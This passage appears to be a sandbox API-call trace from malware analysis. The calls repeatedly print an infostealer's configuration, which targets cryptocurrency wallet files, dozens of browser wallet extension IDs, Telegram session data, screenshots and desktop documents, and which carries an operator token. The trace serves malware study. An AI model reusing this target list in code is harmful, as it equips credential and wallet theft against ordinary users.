Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.167] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0260.168] LocalFree (hMem=0x6b9720) returned 0x0 [0260.168] LocalFree (hMem=0x6bb310) returned 0x0 [0260.169] LocalFree (hMem=0x6bcf00) returned 0x0 [0260.170] StrStrW (lpFirst="wlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.170] lstrlenW (lpString="wlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3495 [0260.170] lstrlenW (lpString="wlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3495 [0260.170] LocalAlloc (uFlags=0x40, uBytes=0x1b4e) returned 0x6b9720 [0260.170] lstrlenW (lpString="wlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3495 [0260.170] LocalAlloc (uFlags=0x40, uBytes=0x1b4e) returned 0x6bb278 [0260.170] lstrlenW (lpString="wlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3495 [0260.170] LocalAlloc (uFlags=0x40, uBytes=0x1b4e) returned 0x6bcdd0 [0260.171] StrStrW (lpFirst="wlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension 